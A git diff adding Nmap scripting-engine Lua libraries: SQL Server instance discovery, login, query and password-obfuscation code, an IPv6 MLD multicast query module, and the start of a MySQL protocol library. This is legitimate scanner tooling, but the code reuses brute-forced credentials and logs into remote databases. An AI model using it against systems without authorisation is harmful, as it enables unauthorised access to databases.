+ -- SqlServerInstanceInfo objects. If status is false, result is an
+ -- error message or nil.
+ DiscoverByTcp = function( host, port )
+ local version, instance, status
+ -- Check to see if we've already discovered an instance on this port
+ local instance = Helper.GetDiscoveredInstances(host, port)
+ if instance then
+ return true, {instance}
+ end
+ instance = SqlServerInstanceInfo:new()
+ instance.host = host
+ instance.port = port
+
+ -- -sV may have gotten a version, but for now, it doesn't extract subBuild.
+ status, version = Helper.GetInstanceVersion( instance )
+ if not status then
+ return false, version
+ end
+
+ Helper.AddOrMergeInstance( instance )
+ -- The point of this wasn't to get the version, just to use the
+ -- pre-login packet to determine whether there was a SQL Server on
+ -- the port. However, since we have the version now, we'll store it.
+ instance.version = version
+ -- Give some version info back to Nmap
+ if ( instance.port and instance.version ) then
+ instance.version:PopulateNmapPortVersion( instance.port )
+ nmap.set_port_version( host, instance.port)
+ end
+
+ return true, { instance }
+ end,
+
+ --- Attempts to discover SQL Server instances listening on default named
+ -- pipes.
+ --
+ -- Any discovered instances are returned, as well as being stored for use by
+ -- other scripts (see <code>mssql.Helper.GetDiscoveredInstances()</code>).
+ --
+ -- @param host A host table for the target.
+ -- @param port A port table for the port to connect on for SMB
+ -- @return (status, result) If status is true, result is a table of
+ -- SqlServerInstanceInfo objects. If status is false, result is an
+ -- error message or nil.
+ DiscoverBySmb = function( host, port )
+ local defaultPipes = {
+ "\\sql\\query",
+ "\\MSSQL$SQLEXPRESS\\sql\\query",
+ "\\MSSQL$SQLSERVER\\sql\\query",
+ }
+ local tdsStream = TDSStream:new()
+ local status, result, instances_host
+
+ for _, pipeSubPath in ipairs( defaultPipes ) do
+ status, result = tdsStream:ConnectToNamedPipe( host, pipeSubPath, nil )
+
+ if status then
+ instances_host = {}
+ local instance = SqlServerInstanceInfo:new()
+ instance.pipeName = tdsStream:GetNamedPipeName()
+ tdsStream:Disconnect()
+ instance.host = host
+
+ Helper.AddOrMergeInstance( instance )
+ table.insert( instances_host, instance )
+ else
+ stdnse.debug3("DiscoverBySmb \n pipe: %s\n result: %s", pipeSubPath, tostring( result ) )
+ end
+ end
+
+ return (instances_host ~= nil), instances_host
+ end,
+
+ --- Attempts to discover SQL Server instances by a variety of means.
+ --
+ -- This function calls the three DiscoverBy functions, which perform the
+ -- actual discovery. Any discovered instances can be retrieved using
+ -- <code>mssql.Helper.GetDiscoveredInstances()</code>.
+ --
+ -- @param host Host table as received by the script action function
+ Discover = function( host )
+ local mutex = nmap.mutex( "discovery_performed for " .. host.ip )
+ mutex( "lock" )
+ nmap.registry.mssql = nmap.registry.mssql or {}
+ nmap.registry.mssql.discovery_performed = nmap.registry.mssql.discovery_performed or {}
+ if nmap.registry.mssql.discovery_performed[ host.ip ] then
+ mutex "done"
+ return
+ end
+ nmap.registry.mssql.discovery_performed[ host.ip ] = false
+
+ -- First, do SSRP discovery. Check any open (got response) ports first:
+ local port = nmap.get_ports(host, nil, "udp", "open")
+ while port do
+ if port.version and port.version.name == "ms-sql-m" then
+ Helper.DiscoverBySsrp(host, port)
+ end
+ port = nmap.get_ports(host, port, "udp", "open")
+ end
+ -- Then check if default SSRP port hasn't been done yet.
+ port = nmap.get_port_state(host, SSRP.PORT)
+ if not port or port.state == "open|filtered" then
+ -- Either it wasn't scanned or it wasn't strictly "open" so we missed it above
+ Helper.DiscoverBySsrp(host, port)
+ end
+
+ -- Next, do TCP discovery. Check any ports with an appropriate service name
+ port = nmap.get_ports(host, nil, "tcp", "open")
+ while port do
+ if port.version and port.version.name == "ms-sql-s" then
+ Helper.DiscoverByTcp(host, port)
+ end
+ port = nmap.get_ports(host, port, "tcp", "open")
+ end
+
+ -- smb.get_port() will return nil if no SMB port was scanned OR if SMB ports were scanned but none was open
+ if smb.get_port(host) then
+ Helper.DiscoverBySmb( host )
+ end
+
+ -- if the user has specified ports, we'll check those too
+ if ( targetInstancePorts ) then
+ for _, portNumber in ipairs( targetInstancePorts ) do
+ portNumber = tonumber( portNumber )
+ Helper.DiscoverByTcp( host, {number = portNumber, protocol = "tcp"} )
+ end
+ end
+
+ nmap.registry.mssql.discovery_performed[ host.ip ] = true
+ mutex( "done" )
+ end,
+
+ --- Returns all of the credentials available for the target instance,
+ -- including any set by the <code>mssql.username</code> and <code>mssql.password</code>
+ -- script arguments.
+ --
+ -- @param instanceInfo A SqlServerInstanceInfo object for the target instance
+ -- @return A table of usernames mapped to passwords (i.e. <code>creds[ username ] = password</code>)
+ GetLoginCredentials_All = function( instanceInfo )
+ local credentials = instanceInfo.credentials or {}
+ local credsExist = false
+ for _, _ in pairs( credentials ) do
+ credsExist = true
+ break
+ end
+ if ( not credsExist ) then credentials = nil end
+
+ if ( stdnse.get_script_args( "mssql.username" ) ) then
+ credentials = credentials or {}
+ local usernameArg = stdnse.get_script_args( "mssql.username" )
+ local passwordArg = stdnse.get_script_args( "mssql.password" ) or ""
+ credentials[ usernameArg ] = passwordArg
+ end
+
+ return credentials
+ end,
+
+ --- Returns a username-password set according to the following rules of
+ -- precedence:
+ --
+ -- * If the <code>mssql.username</code> and <code>mssql.password</code>
+ -- script arguments were set, their values are used. (If the username
+ -- argument was specified without the password argument, a blank
+ -- password is used.)
+ -- * If the password for the "sa" account has been discovered (e.g. by the
+ -- <code>ms-sql-empty-password</code> or <code>ms-sql-brute</code>
+ -- scripts), these credentials are used.
+ -- * If other credentials have been discovered, the first of these in the
+ -- table are used.
+ -- * Otherwise, nil is returned.
+ --
+ -- @param instanceInfo A SqlServerInstanceInfo object for the target instance
+ -- @return (username, password)
+ GetLoginCredentials = function( instanceInfo )
+
+ -- First preference goes to any user-specified credentials
+ local username = stdnse.get_script_args( "mssql.username" )
+ local password = stdnse.get_script_args( "mssql.password" ) or ""
+
+ -- Otherwise, use any valid credentials that have been discovered (e.g. by ms-sql-brute)
+ if ( not(username) and instanceInfo.credentials ) then
+ -- Second preference goes to the "sa" account
+ if ( instanceInfo.credentials.sa ) then
+ username = "sa"
+ password = instanceInfo.credentials.sa
+ else
+ -- ok were stuck with some n00b account, just get the first one
+ for user, pass in pairs( instanceInfo.credentials ) do
+ username = user
+ password = pass
+ break
+ end
+ end
+ end
+
+ return username, password
+ end,
+
+ --- Disconnects from the SQL Server
+ --
+ -- @return status true on success, false on failure
+ -- @return result containing error message on failure
+ Disconnect = function( self )
+ if ( not(self.stream) ) then
+ return false, "Not connected to server"
+ end
+
+ self.stream:Disconnect()
+ self.stream = nil
+
+ return true
+ end,
+
+ --- Authenticates to SQL Server.
+ --
+ -- If login fails, one of the following error messages will be returned:
+ -- * "Password is expired"
+ -- * "Must change password at next logon"
+ -- * "Account is locked out"
+ -- * "Login Failed"
+ --
+ -- @param username string containing the username for authentication
+ -- @param password string containing the password for authentication
+ -- @param database string containing the database to access
+ -- @param servername string containing the name or ip of the remote server
+ -- @return status true on success, false on failure
+ -- @return result containing error message on failure
+ -- @return errorDetail nil or a <code>LoginErrorType</code> value, if available
+ Login = function( self, username, password, database, servername )
+ local loginPacket = LoginPacket:new()
+ local status, result, data, errorDetail, token
+ local servername = servername or "DUMMY"
+ local pos = 1
+ local ntlmAuth = false
+
+ if ( not self.stream ) then
+ return false, "Not connected to server"
+ end
+
+ loginPacket:SetUsername(username)
+ loginPacket:SetPassword(password)
+ loginPacket:SetDatabase(database)
+ loginPacket:SetServer(servername)
+
+ local domain = stdnse.get_script_args("mssql.domain")
+ if (domain) then
+ if ( not(HAVE_SSL) ) then return false, "mssql: OpenSSL not present" end
+ ntlmAuth = true
+ -- if the domain was specified without an argument, set a default domain of "."
+ if (domain == 1 or domain == true ) then
+ domain = "."
+ end
+ loginPacket:SetDomain(domain)
+ end
+
+ status, result = self.stream:Send( loginPacket:ToString() )
+ if ( not(status) ) then
+ return false, result
+ end
+
+ status, data, errorDetail = self.stream:Receive()
+ if ( not(status) ) then
+ -- When logging in via named pipes, SQL Server will sometimes
+ -- disconnect the pipe if the login attempt failed (this only seems
+ -- to happen with non-"sa") accounts. At this point, having
+ -- successfully connected and sent a message, we can be reasonably
+ -- comfortable that a disconnected pipe indicates a failed login.
+ if ( errorDetail == "NT_STATUS_PIPE_DISCONNECTED" ) then
+ return false, "Bad username or password", LoginErrorType.InvalidUsernameOrPassword
+ end
+ return false, data
+ end
+
+ local doNTLM = ntlmAuth
+
+ while( pos < data:len() ) do
+ pos, token = Token.ParseToken( data, pos )
+ if ( -1 == pos ) then
+ return false, token
+ end
+
+ if ( token.type == TokenType.ErrorMessage ) then
+ local errorMessageLookup = {
+ [LoginErrorType.AccountLockedOut] = "Account is locked out",
+ [LoginErrorType.NotAssociatedWithTrustedConnection] = "User is not associated with a trusted connection (instance may allow Windows authentication only)",
+ [LoginErrorType.InvalidUsernameOrPassword] = "Bad username or password",
+ [LoginErrorType.PasswordExpired] = "Password is expired",
+ [LoginErrorType.PasswordMustChange] = "Must change password at next logon",
+ }
+ local errorMessage = errorMessageLookup[ token.errno ] or string.format( "Login Failed (%s)", tostring(token.errno) )
+
+ return false, errorMessage, token.errno
+ elseif ( token.type == TokenType.LoginAcknowledgement ) then
+ return true, "Login Success"
+ elseif doNTLM and token.type == TokenType.NTLMSSP_CHALLENGE then
+ local authpacket = NTAuthenticationPacket:new( username, password, domain, token.nonce )
+ status, result = self.stream:Send( authpacket:ToString() )
+ status, data = self.stream:Receive()
+ if not status then
+ return false, data
+ end
+ doNTLM = false -- don't try again.
+ else
+ local found, ttype = tableaux.contains(TokenType, token.type)
+ if found then
+ stdnse.debug2("Unexpected token type: %s", ttype)
+ else
+ stdnse.debug2("Unknown token type: 0x%02x", token.type)
+ end
+ end
+ end
+
+ return false, "Failed to process login response"
+ end,
+
+ --- Authenticates to SQL Server, using the credentials returned by
+ -- Helper.GetLoginCredentials().
+ --
+ -- If the login is rejected by the server, the error code will be returned,
+ -- as a number in the form of a <code>mssql.LoginErrorType</code> (for which
+ -- error messages can be looked up in <code>mssql.LoginErrorMessage</code>).
+ --
+ -- @param instanceInfo a SqlServerInstanceInfo object for the instance to log into
+ -- @param database string containing the database to access
+ -- @param servername string containing the name or ip of the remote server
+ -- @return status true on success, false on failure
+ -- @return result containing error code or error message
+ LoginEx = function( self, instanceInfo, database, servername )
+ local servername = servername or instanceInfo.host.ip
+ local username, password = Helper.GetLoginCredentials( instanceInfo )
+ if ( not username ) then
+ return false, "No login credentials"
+ end
+
+ return self:Login( username, password, database, servername )
+ end,
+
+ --- Performs a SQL query and parses the response
+ --
+ -- @param query string containing the SQL query
+ -- @return status true on success, false on failure
+ -- @return table containing a table of columns for each row
+ -- or error message on failure
+ Query = function( self, query )
+
+ local queryPacket = QueryPacket:new()
+ local status, result, data, token, colinfo, rows
+ local pos = 1
+
+ if ( nil == self.stream ) then
+ return false, "Not connected to server"
+ end
+
+ queryPacket:SetQuery( query )
+ status, result = self.stream:Send( queryPacket:ToString() )
+ if ( not(status) ) then
+ return false, result
+ end
+
+ status, data = self.stream:Receive()
+ if ( not(status) ) then
+ return false, data
+ end
+
+ -- Iterate over tokens until we get to a rowtag
+ while( pos < data:len() ) do
+ local rowtag = string.unpack("B", data, pos)
+
+ if ( rowtag == TokenType.Row ) then
+ break
+ end
+
+ pos, token = Token.ParseToken( data, pos )
+ if ( -1 == pos ) then
+ return false, token
+ end
+ if ( token.type == TokenType.ErrorMessage ) then
+ return false, token.error
+ elseif ( token.type == TokenType.TDS7Results ) then
+ colinfo = token.colinfo
+ end
+ end
+
+
+ rows = {}
+
+ while(true) do
+ local rowtag
+ rowtag, pos = string.unpack("B", data, pos )
+
+ if ( rowtag ~= TokenType.Row ) then
+ break
+ end
+
+ if ( rowtag == TokenType.Row and colinfo and #colinfo > 0 ) then
+ local columns = {}
+
+ for i=1, #colinfo do
+ local val
+
+ if ( ColumnData.Parse[colinfo[i].type] ) then
+ if not ( colinfo[i].type == 106 or colinfo[i].type == 108) then
+ pos, val = ColumnData.Parse[colinfo[i].type](data, pos)
+ else
+ -- decimal / numeric types need precision and scale passed.
+ pos, val = ColumnData.Parse[colinfo[i].type]( colinfo[i].precision, colinfo[i].scale, data, pos)
+ end
+
+ if ( -1 == pos ) then
+ return false, val
+ end
+ table.insert(columns, val)
+ else
+ return false, ("unknown datatype=0x%X"):format(colinfo[i].type)
+ end
+ end
+ table.insert(rows, columns)
+ end
+ end
+
+ result = {}
+ result.rows = rows
+ result.colinfo = colinfo
+
+ return true, result
+ end,
+
+ --- Attempts to connect to a SQL Server instance listening on a TCP port in
+ -- order to determine the version of the SSNetLib DLL, which is an
+ -- authoritative version number for the SQL Server instance itself.
+ --
+ -- @param instanceInfo An instance of SqlServerInstanceInfo
+ -- @return status true on success, false on failure
+ -- @return versionInfo an instance of mssql.SqlServerVersionInfo, or nil
+ GetInstanceVersion = function( instanceInfo )
+
+ if ( not instanceInfo.host or not (instanceInfo:HasNetworkProtocols()) ) then return false, nil end
+
+ local status, response, version
+ local tdsStream = TDSStream:new()
+
+ status, response = tdsStream:ConnectEx( instanceInfo )
+
+ if ( not status ) then
+ stdnse.debug2("%s: Connection to %s failed: %s", "MSSQL", instanceInfo:GetName(), response or "" )
+ return false, "Connect failed"
+ end
+
+ local preLoginRequest = PreLoginPacket:new()
+ preLoginRequest:SetInstanceName( instanceInfo.instanceName )
+
+ tdsStream:SetTimeout( 5000 )
+ tdsStream:Send( preLoginRequest:ToBytes() )
+
+ -- read in any response we might get
+ status, response = tdsStream:Receive()
+ tdsStream:Disconnect()
+
+ if status then
+ local preLoginResponse
+ status, preLoginResponse = PreLoginPacket.FromBytes( response )
+ if status then
+ version = preLoginResponse.versionInfo
+ else
+ stdnse.debug2("%s: Parsing of pre-login packet from %s failed: %s",
+ "MSSQL", instanceInfo:GetName(), preLoginResponse or "" )
+ return false, "Parsing failed"
+ end
+ else
+ stdnse.debug2("%s: Receive for %s failed: %s", "MSSQL", instanceInfo:GetName(), response or "" )
+ return false, "Receive failed"
+ end
+
+ return status, version
+ end,
+
+ --- Gets a table containing SqlServerInstanceInfo objects for the instances
+ -- that should be run against, based on the script-args (e.g. <code>mssql.instance</code>)
+ --
+ -- @param host Host table as received by the script action function
+ -- @param port (Optional) Port table as received by the script action function
+ -- @return status True on success, false on failure
+ -- @return instances If status is true, this will be a table with one or
+ -- more SqlServerInstanceInfo objects. If status is false, this will be
+ -- an error message.
+ GetTargetInstances = function( host, port )
+ -- Perform discovery. This won't do anything if it's already been done.
+ -- It's important because otherwise we might miss some ports when not using -sV
+ Helper.Discover( host )
+
+ if ( port ) then
+ local status, instances = Helper.GetDiscoveredInstances(host, port)
+ if status then
+ return true, instances
+ else
+ return false, "No SQL Server instance detected on this port"
+ end
+ else
+ if ( targetAllInstances and ( targetInstanceNames or targetInstancePorts ) ) then
+ return false, "All instances cannot be specified together with an instance name or port."
+ end
+
+ if ( not (targetInstanceNames or targetInstancePorts or targetAllInstances) ) then
+ return false, "No instance(s) specified."
+ end
+
+ local instanceList = Helper.GetDiscoveredInstances( host )
+ if ( not instanceList ) then
+ return false, "No instances found on target host"
+ end
+
+ local targetInstances = {}
+
+ for _, instance in ipairs( instanceList ) do
+ repeat -- just so we can use break
+ if instance.port then
+ local scanport = nmap.get_port_state(host, instance.port)
+ -- If scanned-ports-only and it's on a non-scanned port
+ if (SCANNED_PORTS_ONLY and not scanport)
+ -- or if a portrule script will run on it
+ or (scanport and scanport.state == "open") then
+ break -- not interested
+ end
+ -- If they want everything
+ if targetAllInstances or
+ -- or if it's in the instance-port arg
+ (targetInstancePorts and
+ tableaux.contains(targetInstancePorts, instance.port.number)) then
+ -- keep it and move on
+ targetInstances[#targetInstances+1] = instance
+ break
+ end
+ end
+ -- If they want everything
+ if targetAllInstances or
+ -- or if it's in the instance-name arg
+ (instance.instanceName and targetInstanceNames and
+ tableaux.contains(targetInstanceNames, string.upper(instance.instanceName))) then
+ --keep it and move on
+ targetInstances[#targetInstances+1] = instance
+ break
+ end
+ until false
+ end
+
+ if ( #targetInstances > 0 ) then
+ return true, targetInstances
+ else
+ return false, "Specified instance(s) not found on target host"
+ end
+ end
+ end,
+
+ --- Queries the SQL Browser service for the DAC port of the specified instance
+ --
+ -- The DAC (Dedicated Admin Connection) port allows DBA's to connect to
+ -- the database when normal connection attempts fail, for example, when
+ -- the server is hanging, out of memory or other bad states.
+ --
+ -- @param instance the <code>SqlServerInstanceInfo</code> object to probe for a DAC port
+ -- @return number containing the DAC port on success or nil on failure
+ DiscoverDACPort = function(instance)
+ local instanceName = instance.instanceName or instance.pipeName
+ if not instanceName then
+ return nil
+ end
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(5000)
+
+ if ( not(socket:connect(instance.host, 1434, "udp")) ) then
+ return false, "Failed to connect to sqlbrowser service"
+ end
+
+ if ( not(socket:send(string.pack("c2z", "\x0F\x01", instanceName))) ) then
+ socket:close()
+ return false, "Failed to send request to sqlbrowser service"
+ end
+
+ local status, data = socket:receive_buf(match.numbytes(6), true)
+ socket:close()
+ if ( not(status) ) then
+ return nil
+ end
+
+ if ( #data < 6 ) then
+ return nil
+ end
+ return string.unpack("<I2", data, 5)
+ end,
+
+ --- Returns an action, portrule, and hostrule for standard SQL Server scripts
+ --
+ -- The action function performs discovery if necessary and dispatches the
+ -- process_instance function on all discovered instances.
+ --
+ -- The portrule returns true if the port has been identified as "ms-sql-s" or
+ -- discovery has found an instance on that port.
+ --
+ -- The hostrule returns true if any of the <code>mssql.instance-*</code>
+ -- script-args has been set and either a matching instance exists or
+ -- discovery has not yet been done.
+ -- @usage action, portrule, hostrule = mssql.Helper.InitScript(do_something)
+ --
+ -- @param process_instance A function that takes a single parameter, a
+ -- <code>SqlServerInstanceInfo</code> object, and
+ -- returns output suitable for an action function to
+ -- return.
+ --
+ -- @return An action function
+ -- @return A portrule function
+ -- @return A hostrule function
+ InitScript = function(process_instance)
+ local action = function(host, port)
+ local status, instances = Helper.GetTargetInstances(host, port)
+ if not status then
+ stdnse.debug1("GetTargetInstances: %s", instances)
+ return nil
+ end
+ local output = {}
+ for _, instance in ipairs(instances) do
+ output[instance:GetName()] = process_instance(instance)
+ end
+ if #output > 0 then
+ return outlib.sorted_by_key(output)
+ end
+ return nil
+ end
+
+ -- GetTargetInstances does the right thing depending on whether port is
+ -- provided, which corresponds to portrule vs hostrule.
+ return action, Helper.GetTargetInstances, Helper.GetTargetInstances
+ end,
+}
+
+local TDS7Crypt_enc = function (cp)
+ local c = cp ~ 0x5a5a
+ local m1= ( c >> 4 ) & 0x0F0F
+ local m2= ( c << 4 ) & 0xF0F0
+ return string.pack("<I2", m1 | m2 )
+end
+
+Auth = {
+
+ --- Encrypts a password using the TDS7 *ultra secure* XOR encryption
+ --
+ -- @param password string containing the password to encrypt
+ -- @param decoder a unicode.lua decoder function to convert password to code points
+ -- @return string containing the encrypted password
+ TDS7CryptPass = function(password, decoder)
+ return unicode.transcode(password, decoder, TDS7Crypt_enc)
+ end,
+
+ LmResponse = function( password, nonce )
+
+ if ( not(HAVE_SSL) ) then
+ stdnse.debug1("ERROR: Nmap is missing OpenSSL")
+ return
+ end
+
+ password = password .. string.rep('\0', 14 - #password)
+
+ password = password:upper()
+
+ -- Take the first and second half of the password (note that if it's longer than 14 characters, it's truncated)
+ local str1 = string.sub(password, 1, 7)
+ local str2 = string.sub(password, 8, 14)
+
+ -- Generate the keys
+ local key1 = openssl.DES_string_to_key(str1)
+ local key2 = openssl.DES_string_to_key(str2)
+
+ local result = openssl.encrypt("DES", key1, nil, nonce) .. openssl.encrypt("DES", key2, nil, nonce)
+
+ result = result .. string.rep('\0', 21 - #result)
+
+ str1 = string.sub(result, 1, 7)
+ str2 = string.sub(result, 8, 14)
+ local str3 = string.sub(result, 15, 21)
+
+ key1 = openssl.DES_string_to_key(str1)
+ key2 = openssl.DES_string_to_key(str2)
+ local key3 = openssl.DES_string_to_key(str3)
+
+ result = openssl.encrypt("DES", key1, nil, nonce) .. openssl.encrypt("DES", key2, nil, nonce) .. openssl.encrypt("DES", key3, nil, nonce)
+ return result
+ end,
+
+ NtlmResponse = function( password, nonce )
+ local lm_response, ntlm_response, mac_key = smbauth.get_password_response(nil,
+ nil,
+ nil,
+ password,
+ nil,
+ "v1",
+ nonce,
+ false
+ )
+ return ntlm_response
+ end,
+}
+
+--- "static" Utility class containing mostly conversion functions
+Util =
+{
+ --- Takes a table as returned by Query and does some fancy formatting
+ -- better suitable for <code>stdnse.format_output</code>
+ --
+ -- @param tbl as received by <code>Helper.Query</code>
+ -- @param with_headers boolean true if output should contain column headers
+ -- @return table suitable for <code>stdnse.format_output</code>
+ FormatOutputTable = function ( tbl, with_headers )
+ local new_tbl = {}
+ local col_names = {}
+
+ if ( not(tbl) ) then
+ return
+ end
+
+ if ( with_headers and tbl.rows and #tbl.rows > 0 ) then
+ local headers
+ for k, v in pairs( tbl.colinfo ) do
+ table.insert( col_names, v.text)
+ end
+ headers = table.concat(col_names, "\t")
+ table.insert( new_tbl, headers)
+ headers = headers:gsub("[^%s]", "=")
+ table.insert( new_tbl, headers )
+ end
+
+ for _, v in ipairs( tbl.rows ) do
+ table.insert( new_tbl, table.concat(v, "\t") )
+ end
+
+ return new_tbl
+ end,
+}
+
+local unittest = require "unittest"
+if not unittest.testing() then
+ return _ENV
+end
+
+local tests = {
+ {"host", "\x23\xa5\x53\xa5\x92\xa5\xe2\xa5", unicode.utf8_dec},
+ {"p@ssword12-", "\xa2\xa5\xa1\xa5\x92\xa5\x92\xa5\xd2\xa5\x53\xa5\x82\xa5\xe3\xa5\xb6\xa5\x86\xa5\x77\xa5", unicode.utf8_dec},
+}
+test_suite = unittest.TestSuite:new()
+
+for _, test in ipairs(tests) do
+ test_suite:add_test(unittest.equal(Auth.TDS7CryptPass(test[1], test[3]), test[2]), ("TDS7 crypt %s"):format(test[1]))
+end
+
+return _ENV
diff --git a/nselib/multicast.lua b/nselib/multicast.lua
new file mode 100644
index 0000000..ccdb72a
--- /dev/null
+++ b/nselib/multicast.lua
@@ -0,0 +1,179 @@
+---
+-- Utility functions for sending MLD requests and parsing reports.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local nmap = require "nmap"
+local ipOps = require "ipOps"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+_ENV = stdnse.module("multicast", stdnse.seeall)
+
+---
+-- Performs an MLD general query on the selected interface and caches the results such that
+-- subsequent calls to this function do not generate additional traffic.
+--
+-- @param if_nfo A table containing information about the interface to send the request on.
+-- Can be one of those returned by nmap.list_interfaces().
+-- @param arg_timeout The amount of time to wait for reports.
+--
+-- @return A list of tables, each table containing three items, namely device, layer 2 reply and layer 3 reply.
+--
+mld_query = function( if_nfo, arg_timeout )
+ -- check if the interface name is valid or if nmap can find one
+ if if_nfo == nil then
+ return nil
+ end
+
+ -- we need some ID for this interface & address combination to use as the
+ -- registry key and the object to lock the mutex on
+ local reg_entry = "mld_reports_" .. if_nfo.device .. "_" .. if_nfo.address
+ local mutex = nmap.mutex( reg_entry )
+ mutex('lock')
+
+ -- first check if nmap.registry contains reports for this interface from a previous call of this function
+ if nmap.registry[reg_entry] ~= nil then
+ mutex('done')
+ return nmap.registry[reg_entry]
+ end
+
+ if not ipOps.ip_in_range(if_nfo.address, "fe80::/10") -- link local address
+ or if_nfo.link ~= "ethernet" then -- not the loopback interface
+ mutex('done')
+ return nil
+ end
+
+ -- create the query packet
+ local src_mac = if_nfo.mac
+ local src_ip6 = ipOps.ip_to_str(if_nfo.address)
+ local dst_mac = packet.mactobin("33:33:00:00:00:01")
+ local dst_ip6 = ipOps.ip_to_str("ff02::1")
+ local general_qry = ipOps.ip_to_str("::")
+
+ local dnet = nmap.new_dnet()
+ local pcap = nmap.new_socket()
+
+ dnet:ethernet_open(if_nfo.device)
+ pcap:pcap_open(if_nfo.device, 1500, false, "ip6[40:1] == 58")
+
+ local probe = packet.Frame:new()
+ probe.mac_src = src_mac
+ probe.mac_dst = dst_mac
+ probe.ip_bin_src = src_ip6
+ probe.ip_bin_dst = dst_ip6
+
+ probe.ip6_tc = 0
+ probe.ip6_fl = 0
+ probe.ip6_hlimit = 1
+
+ probe.icmpv6_type = packet.MLD_LISTENER_QUERY
+ probe.icmpv6_code = 0
+
+ -- Add a non-empty payload too.
+ probe.icmpv6_payload = (
+ "\x00\x01" .. -- maximum response delay 1 millisecond (if 0, virtualbox TCP/IP stack crashes)
+ "\x00\x00" .. -- reserved
+ ipOps.ip_to_str("::") -- empty address - general MLD query
+ )
+ probe:build_icmpv6_header()
+ probe.exheader = string.pack(">BBBB I2 BB",
+ packet.IPPROTO_ICMPV6, -- next header
+ 0x00, -- length not including first 8 octets
+ 0x05, -- type is router alert
+ 0x02, -- length 2 bytes
+ 0x00, -- router alert MLD
+ 0x01, -- padding type PadN
+ 0x00 -- padding length 0
+ )
+ probe.ip6_nhdr = packet.IPPROTO_HOPOPTS
+ probe:build_ipv6_packet()
+ probe:build_ether_frame()
+
+ -- send the query packet
+ dnet:ethernet_send(probe.frame_buf)
+
+ -- wait for responses to the query packet
+ pcap:set_timeout(1000)
+ local pcap_timeout_count = 0
+ local nse_timeout = arg_timeout or 10
+ local start_time = nmap:clock()
+ local addrs = {}
+ nmap.registry[reg_entry] = {}
+
+ repeat
+ local status, length, layer2, layer3 = pcap:pcap_receive()
+ local cur_time = nmap:clock()
+ if status then
+ local l2reply = packet.Frame:new(layer2)
+ local l3reply = packet.Packet:new(layer3, length, true)
+ local target_ip = l3reply.ip_src
+ if l3reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or l3reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT then
+ table.insert(
+ nmap.registry[reg_entry],
+ { if_nfo.device, l2reply, l3reply }
+ )
+ end
+ end
+ until ( cur_time - start_time >= nse_timeout )
+
+ -- clean up
+ dnet:ethernet_close()
+ pcap:pcap_close()
+
+ mutex('done')
+ return nmap.registry[reg_entry]
+end
+
+---
+-- Extracts IP addresses from MLD reports captured by the mld_query function.
+--
+-- @param reports The output of the mld_query function.
+--
+-- @return A list of tables, each table containing three items, namely device, mac and a list of addresses.
+--
+mld_report_addresses = function(reports)
+ local rep_addresses = {}
+ for _, report in pairs(reports) do
+ local device = report[1]
+ local l2reply = report[2]
+ local l3reply = report[3]
+
+ local target_ip = l3reply.ip_src
+ if l3reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or l3reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT then
+
+ -- if this is the first reply from the target, make an entry for it
+ if not rep_addresses[target_ip] then
+ rep_addresses[target_ip] = stdnse.output_table()
+ end
+ local rep = rep_addresses[target_ip]
+ rep.device = device
+ rep.mac = stdnse.format_mac(l2reply.mac_src)
+ rep.multicast_ips = rep.multicast_ips or {}
+
+ -- depending on the MLD version of the report, add appropriate IP addresses
+ if l3reply.ip6_nhdr == packet.MLD_LISTENER_REPORT then
+ local multicast_ip = ipOps.str_to_ip( l3reply:raw(0x38, 16) ) -- IP starts at byte 0x38 and is 16 bytes long
+ table.insert(rep.multicast_ips, multicast_ip)
+ elseif l3reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT then
+ local no_records = l3reply:u16(0x36)
+ local record_offset = 0
+ local records_start = 0x38
+ for i = 1, no_records do
+ -- for the format description, see RFC3810 (ch. 5.2)
+ local aux_data_len = l3reply:u8(records_start + record_offset + 1)
+ local no_sources = l3reply:u16(records_start + record_offset + 2)
+ local multicast_ip = ipOps.str_to_ip(l3reply:raw(records_start + record_offset + 4, 16))
+ table.insert(rep.multicast_ips, multicast_ip)
+ record_offset = record_offset + 4 + 16 + no_sources * 16 + aux_data_len * 4
+ end
+ end
+
+ end
+ end
+ return rep_addresses
+end
+
+return _ENV
diff --git a/nselib/mysql.lua b/nselib/mysql.lua
new file mode 100644
index 0000000..67dcdc2
--- /dev/null
+++ b/nselib/mysql.lua
@@ -0,0 +1,569 @@
+---
+-- Simple MySQL Library supporting a very limited subset of operations.
+--
+-- https://dev.mysql.com/doc/internals/en/client-server-protocol.html
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local math = require "math"
+_ENV = stdnse.module("mysql", stdnse.seeall)
+
+-- Version 0.3
+--
+-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/23/2010 - v0.2 - added query support, cleanup, documentation
+-- Revised 08/24/2010 - v0.3 - added error handling for receiveGreeting
+-- fixed a number of incorrect receives and changed
+-- them to receive_bytes instead.
+
+local tab = require('tab')
+
+local HAVE_SSL, openssl = pcall(require,'openssl')
+
+Capabilities =
+{
+ LongPassword = 0x1,
+ FoundRows = 0x2,
+ LongColumnFlag = 0x4,
+ ConnectWithDatabase = 0x8,
+ DontAllowDatabaseTableColumn = 0x10,
+ SupportsCompression = 0x20,
+ ODBCClient = 0x40,
+ SupportsLoadDataLocal = 0x80,
+ IgnoreSpaceBeforeParenthesis = 0x100,
+ Speaks41ProtocolNew = 0x200,
+ InteractiveClient = 0x400,
+ SwitchToSSLAfterHandshake = 0x800,
+ IgnoreSigpipes = 0x1000,
+ SupportsTransactions = 0x2000,
+ Speaks41ProtocolOld = 0x4000,
+ Support41Auth = 0x8000
+}
+
+ExtCapabilities =
+{
+ SupportsMultipleStatments = 0x1,
+ SupportsMultipleResults = 0x2,
+ SupportsAuthPlugins = 0x8,
+}
+
+Charset =
+{
+ latin1_COLLATE_latin1_swedish_ci = 0x8
+}
+
+ServerStatus =
+{
+ InTransaction = 0x1,
+ AutoCommit = 0x2,
+ MoreResults = 0x4,
+ MultiQuery = 0x8,
+ BadIndexUsed = 0x10,
